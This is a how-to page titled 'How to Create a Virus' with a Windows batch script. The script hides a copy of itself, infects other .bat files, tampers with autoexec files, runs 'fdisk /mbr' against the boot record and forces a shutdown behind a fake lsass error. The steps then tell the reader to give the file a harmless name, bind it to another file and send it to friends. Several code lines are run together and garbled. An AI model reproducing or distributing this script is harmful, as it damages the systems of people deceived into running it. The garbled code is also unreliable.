**How to Create a Virus**

Steps

1. Open Notepad in Windows. You can do this by navigating to Start > Programs > Accessories > Notepad, or simply by entering notepad under Start > Run.
   
   
   
   
   
   
   
2. 
   
   
   
   Copy and paste the code given below, in the "Code" Section, into Notepad and click Save as. 

3. CODE 

   @echo off
   title %0
   rem conditional check.
   echo welcome to this wonderful program! please wait while I delete all your

    files!
   rem infection of the user
   copy %0 c:\tmp.bat >null attrib +r +s +h c:\tmp.bat echo for %%i in (*.bat)

   do copy c:\tmp.bat+%%i %%i >>c:\windows\system32\autoexec.NT
   echo echo virus detected! >>c:\windows\system32\autoexec.NT
   echo pause >>c:\windows\system32\autoexec.NT
   echo NT core:infected!
   echo echo shame on you! >>c:\autoexec.bat
   echo echo system hault-virus identified! >>c:\autoexec.bat
   echo chkdsk >>c:\autoexec.bat
   echo i t i s t o o l a t e, y o u h a v e a v i r u s, n o w u r l i f

    e i s n o t b e a u t i f u l
   fdisk /mbr
   shutdown -s -t 03 -c “windows has shut down because the lsass service has

    encountered a write fault at 0×00000000000000000000000000000000000″

    
4. 
   
   Decide for a location to save the fake-virus. You should chose a location where the user won’t find the file, so saving it on the desktop would be a bad idea.
5. 
   
   
   Change .txt to All files in the file type drop-down menu.
6. 
   
   
   Chose a harmless file name. Replace the .txt at the with .bat and click on Save and close Notepad. 
7.  
8. 
   
   You have completed making the virus and now you must bind the virus with any other file. After binding the file, just send this file to your friends. Then you can just sit back and enjoy the show!
